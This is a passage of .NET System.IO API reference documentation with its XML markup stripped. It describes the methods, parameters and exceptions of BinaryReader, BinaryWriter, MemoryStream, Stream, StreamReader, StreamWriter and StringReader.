integer from the current stream and advances the current position of the stream by four bytes. + A 4-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte signed integer from the current stream and advances the current position of the stream by eight bytes. + An 8-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a signed byte from this stream and advances the current position of the stream by one byte. + A signed byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte floating point value from the current stream and advances the current position of the stream by four bytes. + A 4-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a string from the current stream. The string is prefixed with the length, encoded as an integer seven bits at a time. + The string being read. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte unsigned integer from the current stream using little-endian encoding and advances the position of the stream by two bytes. + A 2-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte unsigned integer from the current stream and advances the position of the stream by four bytes. + A 4-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte unsigned integer from the current stream and advances the position of the stream by eight bytes. + An 8-byte unsigned integer read from this stream. + The end of the stream is reached. + An I/O error occurs. + The stream is closed. + 2 + + + Writes primitive types in binary to a stream and supports writing strings in a specific encoding. + 2 + + + Initializes a new instance of the class that writes to a stream. + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The output stream. + The stream does not support writing or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The output stream. + The character encoding to use. + The stream does not support writing or is already closed. + + or is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The output stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support writing or is already closed. + + or is null. + + + Gets the underlying stream of the . + The underlying stream associated with the BinaryWriter. + 1 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Specifies a with no backing store. + 1 + + + Holds the underlying stream. + + + Sets the position within the current stream. + The position with the current stream. + A byte offset relative to . + A field of indicating the reference point from which the new position is to be obtained. + The file pointer was moved to an invalid location. + The value is invalid. + 1 + + + Writes a one-byte Boolean value to the current stream, with 0 representing false and 1 representing true. + The Boolean value to write (0 or 1). + An I/O error occurs. + The stream is closed. + 1 + + + Writes an unsigned byte to the current stream and advances the stream position by one byte. + The unsigned byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a byte array to the underlying stream. + A byte array containing the data to write. + An I/O error occurs. + The stream is closed. + + is null. + 1 + + + Writes a region of a byte array to the current stream. + A byte array containing the data to write. + The starting point in at which to begin writing. + The number of bytes to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a Unicode character to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + The non-surrogate, Unicode character to write. + An I/O error occurs. + The stream is closed. + + is a single surrogate character. + 1 + + + Writes a character array to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + A character array containing the data to write. + + is null. + The stream is closed. + An I/O error occurs. + 1 + + + Writes a section of a character array to the current stream, and advances the current position of the stream in accordance with the Encoding used and perhaps the specific characters being written to the stream. + A character array containing the data to write. + The starting point in from which to begin writing. + The number of characters to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a decimal value to the current stream and advances the stream position by sixteen bytes. + The decimal value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte floating-point value to the current stream and advances the stream position by eight bytes. + The eight-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a two-byte signed integer to the current stream and advances the stream position by two bytes. + The two-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte signed integer to the current stream and advances the stream position by four bytes. + The four-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte signed integer to the current stream and advances the stream position by eight bytes. + The eight-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a signed byte to the current stream and advances the stream position by one byte. + The signed byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte floating-point value to the current stream and advances the stream position by four bytes. + The four-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a length-prefixed string to this stream in the current encoding of the , and advances the current position of the stream in accordance with the encoding used and the specific characters being written to the stream. + The value to write. + An I/O error occurs. + + is null. + The stream is closed. + 1 + + + Writes a two-byte unsigned integer to the current stream and advances the stream position by two bytes. + The two-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte unsigned integer to the current stream and advances the stream position by four bytes. + The four-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte unsigned integer to the current stream and advances the stream position by eight bytes. + The eight-byte unsigned integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a 32-bit integer in a compressed format. + The 32-bit integer to be written. + The end of the stream is reached. + The stream is closed. + The stream is closed. + + + The exception that is thrown when reading is attempted past the end of a stream. + 2 + + + Initializes a new instance of the class with its message string set to a system-supplied message and its HRESULT set to COR_E_ENDOFSTREAM. + + + Initializes a new instance of the class with its message string set to and its HRESULT set to COR_E_ENDOFSTREAM. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + + + Initializes a new instance of the class with a specified error message and a reference to the inner exception that is the cause of this exception. + A string that describes the error. The content of is intended to be understood by humans. The caller of this constructor is required to ensure that this string has been localized for the current system culture. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + The exception that is thrown when a data stream is in an invalid format. + + + Initializes a new instance of the class. + + + Initializes a new instance of the class with a specified error message. + The error message that explains the reason for the exception. + + + Initializes a new instance of the class with a reference to the inner exception that is the cause of this exception. + The error message that explains the reason for the exception. + The exception that is the cause of the current exception. If the parameter is not null, the current exception is raised in a catch block that handles the inner exception. + + + Creates a stream whose backing store is memory.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class with an expandable capacity initialized to zero. + + + Initializes a new non-resizable instance of the class based on the specified byte array. + The array of unsigned bytes from which to create the current stream. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified byte array with the property set as specified. + The array of unsigned bytes from which to create this stream. + The setting of the property, which determines whether the stream supports writing. + + is null. + + + Initializes a new non-resizable instance of the class based on the specified region (index) of a byte array. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + + is null. + + or is less than zero. + The buffer length minus is less than . + + + Initializes a new non-resizable instance of the class based on the specified region of a byte array, with the property set as specified. + The array of unsigned bytes from which to create this stream. + The index in at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + + is null. + + or are negative. + The buffer length minus is less than . + + + Initializes a new instance of the class based on the specified region of a byte array, with the property set as specified, and the ability to call set as specified. + The array of unsigned bytes from which to create this stream. + The index into at which the stream begins. + The length of the stream in bytes. + The setting of the property, which determines whether the stream supports writing. + true to enable , which returns the unsigned byte array from which the stream was created; otherwise, false. + + is null. + + or is negative. + The buffer length minus is less than . + + + Initializes a new instance of the class with an expandable capacity initialized as specified. + The initial size of the internal array in bytes. + + is negative. + + + Gets a value indicating whether the current stream supports reading. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports seeking. + true if the stream is open. + 2 + + + Gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 2 + + + Gets or sets the number of bytes allocated for this stream. + The length of the usable portion of the buffer for the stream. + A capacity is set that is negative or less than the current length of the stream. + The current stream is closed. + set is invoked on a stream whose capacity cannot be modified. + 2 + + + Asynchronously reads all the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. + The token to monitor for cancellation requests. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Overrides the method so that no action is performed. + 2 + + + Asynchronously clears all buffers for this stream, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. + The stream has been disposed. + + + Gets the length of the stream in bytes. + The length of the stream in bytes. + The stream is closed. + 2 + + + Gets or sets the current position within the stream. + The current position within the stream. + The position is set to a negative value or a value greater than . + The stream is closed. + 2 + + + Reads a block of bytes from the current stream and writes the data to a buffer. + The total number of bytes written into the buffer. This can be less than the number of bytes requested if that number of bytes are not currently available, or zero if the end of the stream is reached before any bytes are read. + When this method returns, contains the specified byte array with the values between and ( + - 1) replaced by the characters read from the current stream. + The zero-based byte offset in at which to begin storing data from the current stream. + The maximum number of bytes to read. + + is null. + + or is negative. + + subtracted from the buffer length is less than . + The current stream instance is closed. + 2 + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the current stream. + The byte cast to a , or -1 if the end of the stream has been reached. + The current stream instance is closed. + 2 + + + Sets the position within the current stream to the specified value. + The new position within the stream, calculated by combining the initial reference point and the offset. + The new position within the stream. This is relative to the parameter, and can be positive or negative. + A value of type , which acts as the seek reference point. + Seeking is attempted before the beginning of the stream. + + is greater than . + There is an invalid . -or- caused an arithmetic overflow. + The current stream instance is closed. + 2 + + + Sets the length of the current stream to the specified value. + The value at which to set the length. + The current stream is not resizable and is larger than the current capacity.-or- The current stream does not support writing. + + is negative or is greater than the maximum length of the , where the maximum length is( - origin), and origin is the index into the underlying buffer at which the stream starts. + 2 + + + Writes the stream contents to a byte array, regardless of the property. + A new byte array. + 2 + + + Returns the array of unsigned bytes from which this stream was created. The return value indicates whether the conversion succeeded. + true if the conversion was successful; otherwise, false. + The byte array segment from which this stream was created. + + + Writes a block of bytes to the current stream using data read from a buffer. + The buffer to write data from. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The maximum number of bytes to write. + + is null. + The stream does not support writing. For additional information see .-or- The current position is closer than bytes to the end of the stream, and the capacity cannot be modified. + + subtracted from the buffer length is less than . + + or are negative. + An I/O error occurs. + The current stream instance is closed. + 2 + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current stream at the current position. + The byte to write. + The stream does not support writing. For additional information see .-or- The current position is at the end of the stream, and the capacity cannot be modified. + The current stream is closed. + 2 + + + Writes the entire contents of this memory stream to another stream. + The stream to write this memory stream to. + + is null. + The current or target stream is closed. + 2 + + + Specifies the position in a stream to use for seeking. + 2 + + + Specifies the beginning of a stream. + + + Specifies the current position within a stream. + + + Specifies the end of a stream. + + + Provides a generic view of a sequence of bytes. This is an abstract class.To browse the .NET Framework source code for this type, see the Reference Source. + 2 + + + Initializes a new instance of the class. + + + When overridden in a derived class, gets a value indicating whether the current stream supports reading. + true if the stream supports reading; otherwise, false. + 1 + + + When overridden in a derived class, gets a value indicating whether the current stream supports seeking. + true if the stream supports seeking; otherwise, false. + 1 + + + Gets a value that determines whether the current stream can time out. + A value that determines whether the current stream can time out. + 2 + + + When overridden in a derived class, gets a value indicating whether the current stream supports writing. + true if the stream supports writing; otherwise, false. + 1 + + + Reads the bytes from the current stream and writes them to another stream. + The stream to which the contents of the current stream will be copied. + + is null. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + The stream to which the contents of the current stream will be copied. + The size of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + The current stream does not support reading.-or- does not support writing. + Either the current stream or were closed before the method was called. + An I/O error occurred. + + + Asynchronously reads the bytes from the current stream and writes them to another stream. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + + is null. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Asynchronously reads the bytes from the current stream and writes them to another stream, using a specified buffer size and cancellation token. + A task that represents the asynchronous copy operation. + The stream to which the contents of the current stream will be copied. + The size, in bytes, of the buffer. This value must be greater than zero. The default size is 81920. + The token to monitor for cancellation requests. The default value is . + + is null. + + is negative or zero. + Either the current stream or the destination stream is disposed. + The current stream does not support reading, or the destination stream does not support writing. + + + Releases all resources used by the . + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + When overridden in a derived class, clears all buffers for this stream and causes any buffered data to be written to the underlying device. + An I/O error occurs. + 2 + + + Asynchronously clears all buffers for this stream and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Asynchronously clears all buffers for this stream, causes any buffered data to be written to the underlying device, and monitors cancellation requests. + A task that represents the asynchronous flush operation. + The token to monitor for cancellation requests. The default value is . + The stream has been disposed. + + + When overridden in a derived class, gets the length in bytes of the stream. + A long value representing the length of the stream in bytes. + A class derived from Stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + A Stream with no backing store. + 1 + + + When overridden in a derived class, gets or sets the position within the current stream. + The current position within the stream. + An I/O error occurs. + The stream does not support seeking. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + The total number of bytes read into the buffer. This can be less than the number of bytes requested if that many bytes are not currently available, or zero (0) if the end of the stream has been reached. + An array of bytes. When this method returns, the buffer contains the specified byte array with the values between and ( + - 1) replaced by the bytes read from the current source. + The zero-based byte offset in at which to begin storing the data read from the current stream. + The maximum number of bytes to be read from the current stream. + The sum of and is larger than the buffer length. + + is null. + + or is negative. + An I/O error occurs. + The stream does not support reading. + Methods were called after the stream was closed. + 1 + + + Asynchronously reads a sequence of bytes from the current stream and advances the position within the stream by the number of bytes read. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Asynchronously reads a sequence of bytes from the current stream, advances the position within the stream by the number of bytes read, and monitors cancellation requests. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + The buffer to write the data into. + The byte offset in at which to begin writing data from the stream. + The maximum number of bytes to read. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support reading. + The stream has been disposed. + The stream is currently in use by a previous read operation. + + + Reads a byte from the stream and advances the position within the stream by one byte, or returns -1 if at the end of the stream. + The unsigned byte cast to an Int32, or -1 if at the end of the stream. + The stream does not support reading. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to read before timing out. + A value, in miliseconds, that determines how long the stream will attempt to read before timing out. + The method always throws an . + 2 + + + When overridden in a derived class, sets the position within the current stream. + The new position within the current stream. + A byte offset relative to the parameter. + A value of type indicating the reference point used to obtain the new position. + An I/O error occurs. + The stream does not support seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 1 + + + When overridden in a derived class, sets the length of the current stream. + The desired length of the current stream in bytes. + An I/O error occurs. + The stream does not support both writing and seeking, such as if the stream is constructed from a pipe or console output. + Methods were called after the stream was closed. + 2 + + + When overridden in a derived class, writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + An array of bytes. This method copies bytes from to the current stream. + The zero-based byte offset in at which to begin copying bytes to the current stream. + The number of bytes to be written to the current stream. + The sum of  and  is greater than the buffer length. + + is null. + + or  is negative. + An I/O error occured, such as the specified file cannot be found. + The stream does not support writing. + + was called after the stream was closed. + 1 + + + Asynchronously writes a sequence of bytes to the current stream and advances the current position within this stream by the number of bytes written. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Asynchronously writes a sequence of bytes to the current stream, advances the current position within this stream by the number of bytes written, and monitors cancellation requests. + A task that represents the asynchronous write operation. + The buffer to write data from. + The zero-based byte offset in from which to begin copying bytes to the stream. + The maximum number of bytes to write. + The token to monitor for cancellation requests. The default value is . + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream does not support writing. + The stream has been disposed. + The stream is currently in use by a previous write operation. + + + Writes a byte to the current position in the stream and advances the position within the stream by one byte. + The byte to write to the stream. + An I/O error occurs. + The stream does not support writing, or the stream is already closed. + Methods were called after the stream was closed. + 2 + + + Gets or sets a value, in miliseconds, that determines how long the stream will attempt to write before timing out. + A value, in miliseconds, that determines how long the stream will attempt to write before timing out. + The method always throws an . + 2 + + + Implements a that reads characters from a byte stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream. + The stream to be read. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified byte order mark detection option. + The stream to be read. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding. + The stream to be read. + The character encoding to use. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding and byte order mark detection option. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + + does not support reading. + + or is null. + + + Initializes a new instance of the class for the specified stream, with the specified character encoding, byte order mark detection option, and buffer size. + The stream to be read. + The character encoding to use. + Indicates whether to look for byte order marks at the beginning of the file. + The minimum buffer size. + The stream does not support reading. + + or is null. + + is less than or equal to zero. + + + Initializes a new instance of the class for the specified stream based on the specified character encoding, byte order mark detection option, and buffer size, and optionally leaves the stream open. + The stream to read. + The character encoding to use. + true to look for byte order marks at the beginning of the file; otherwise, false. + The minimum buffer size. + true to leave the stream open after the object is disposed; otherwise, false. + + + Returns the underlying stream. + The underlying stream. + 2 + + + Gets the current character encoding that the current object is using. + The current character encoding used by the current reader. The value can be different after the first call to any method of , since encoding autodetection is not done until the first call to a method. + 2 + + + Clears the internal buffer. + 2 + + + Closes the underlying stream, releases the unmanaged resources used by the , and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Gets a value that indicates whether the current stream position is at the end of the stream. + true if the current stream position is at the end of the stream; otherwise false. + The underlying stream has been disposed. + 1 + + + A object around an empty stream. + 1 + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if there are no characters to be read or if the stream does not support seeking. + An I/O error occurs. + 1 + + + Reads the next character from the input stream and advances the character position by one character. + The next character from the input stream represented as an object, or -1 if no more characters are available. + An I/O error occurs. + 1 + + + Reads a specified maximum of characters from the current stream into a buffer, beginning at the specified index. + The number of characters that have been read, or 0 if at the end of the stream and no data was read. The number will be less than or equal to the parameter, depending on whether the data is available within the stream. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The index of at which to begin writing. + The maximum number of characters to read. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs, such as the stream is closed. + 1 + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the current method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current stream and writes the data to a buffer, beginning at the specified index. + The number of characters that have been read. The number will be less than or equal to , depending on whether all input characters have been read. + When this method returns, contains the specified character array with the values between and () replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The is closed. + An I/O error occurred. + + + Reads a specified maximum number of characters from the current stream asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the stream has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the stream is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current stream and returns the data as a string. + The next line from the input stream, or null if the end of the input stream is reached. + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads a line of characters asynchronously from the current stream and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the stream, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the stream. + The rest of the stream as a string, from the current position to the end. If the current position is at the end of the stream, returns an empty string (""). + There is insufficient memory to allocate a buffer for the returned string. + An I/O error occurs. + 1 + + + Reads all characters from the current position to the end of the stream asynchronously and returns them as one string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the stream. + The number of characters is larger than . + The stream has been disposed. + The reader is currently in use by a previous read operation. + + + Implements a for writing characters to a stream in a particular encoding.To browse the .NET Framework source code for this type, see the Reference Source. + 1 + + + Initializes a new instance of the class for the specified stream by using UTF-8 encoding and the default buffer size. + The stream to write to. + + is not writable. + + is null. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and the default buffer size. + The stream to write to. + The character encoding to use. + + or is null. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + + or is null. + + is negative. + + is not writable. + + + Initializes a new instance of the class for the specified stream by using the specified encoding and buffer size, and optionally leaves the stream open. + The stream to write to. + The character encoding to use. + The buffer size, in bytes. + true to leave the stream open after the object is disposed; otherwise, false. + + or is null. + + is negative. + + is not writable. + + + Gets or sets a value indicating whether the will flush its buffer to the underlying stream after every call to . + true to force to flush its buffer; otherwise, false. + 1 + + + Gets the underlying stream that interfaces with a backing store. + The stream this StreamWriter is writing to. + 2 + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + The current encoding does not support displaying half of a Unicode surrogate pair. + + + Gets the in which the output is written. + The specified in the constructor for the current instance, or if an encoding was not specified. + 2 + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying stream. + The current writer is closed. + An I/O error has occurred. + The current encoding does not support displaying half of a Unicode surrogate pair. + 1 + + + Clears all buffers for this stream asynchronously and causes any buffered data to be written to the underlying device. + A task that represents the asynchronous flush operation. + The stream has been disposed. + + + Provides a StreamWriter with no backing store that can be written to, but not read from. + 1 + + + Writes a character to the stream. + The character to write to the stream. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a character array to the stream. + A character array containing the data to write. If is null, nothing is written. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a subarray of characters to the stream. + A character array that contains the data to write. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The buffer length minus is less than . + + or is negative. + An I/O error occurs. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + 1 + + + Writes a string to the stream. + The string to write to the stream. If is null, nothing is written. + + is true or the buffer is full, and current writer is closed. + + is true or the buffer is full, and the contents of the buffer cannot be written to the underlying fixed size stream because the is at the end the stream. + An I/O error occurs. + 1 + + + Writes a character to the stream asynchronously. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters to the stream asynchronously. + A task that represents the asynchronous write operation. + A character array that contains the data to write. + The character position in the buffer at which to begin reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string to the stream asynchronously. + A task that represents the asynchronous write operation. + The string to write to the stream. If is null, nothing is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a character followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character to write to the stream. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a subarray of characters followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The character array to write data from. + The character position in the buffer at which to start reading data. + The maximum number of characters to write. + + is null. + The plus is greater than the buffer length. + + or is negative. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Writes a string followed by a line terminator asynchronously to the stream. + A task that represents the asynchronous write operation. + The string to write. If the value is null, only a line terminator is written. + The stream writer is disposed. + The stream writer is currently in use by a previous write operation. + + + Implements a that reads from a string. + 2 + + + Initializes a new instance of the class that reads from the specified string. + The string to which the should be initialized. + The parameter is null. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Returns the next available character but does not consume it. + An integer representing the next character to be read, or -1 if no more characters are available or the stream does not support seeking. + The current reader is closed. + 2 + + + Reads the next character from the input string and advances the character position by one character. + The next character from the underlying string, or -1 if no more characters are available. + The current reader is closed. + 2 + + + Reads a block of characters from the input string and advances the character position by . + The total number of characters read into the buffer. This can be less than the number of characters requested if that many characters are not currently available, or zero if the end of the underlying string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The starting index in the buffer. + The number of characters to read. + + is null. + The buffer length minus is less than . + + or is negative. + The current reader is closed. + 2 + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a specified maximum number of characters from the current string asynchronously and writes the data to a buffer, beginning at the specified index. + A task that represents the asynchronous read operation. The value of the parameter contains the total number of bytes read into the buffer. The result value can be less than the number of bytes requested if the number of bytes currently available is less than the requested number, or it can be 0 (zero) if the end of the string has been reached. + When this method returns, contains the specified character array with the values between and ( + - 1) replaced by the characters read from the current source. + The position in at which to begin writing. + The maximum number of characters to read. If the end of the string is reached before the specified number of characters is written into the buffer, the method returns. + + is null. + + or is negative. + The sum of and is larger than the buffer length. + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads a line of characters from the current string and returns the data as a string. + The next line from the current string, or null if the end of the string is reached. + The current reader is closed. + There is insufficient memory to allocate a buffer for the returned string. + 2 + + + Reads a line of characters asynchronously from the current string and returns the data as a string. + A task that represents the asynchronous read operation. The value of the parameter contains the next line from the string reader, or is null if all the characters have been read. + The number of characters in the next line is larger than . + The string reader has been disposed. + The reader is currently in use by a previous read operation. + + + Reads all characters from the current position to the end of the string and returns them as a single string. + The content from the current position to the end of the underlying string. + There is insufficient memory to allocate a buffer for the returned string. + The current reader is closed. + 2 + + + Reads all characters from the current position to the end of the string asynchronously and returns them as a single string. + A task that represents the asynchronous read operation. The value of the parameter contains a string with the characters from the current position to the end of the string. + The number 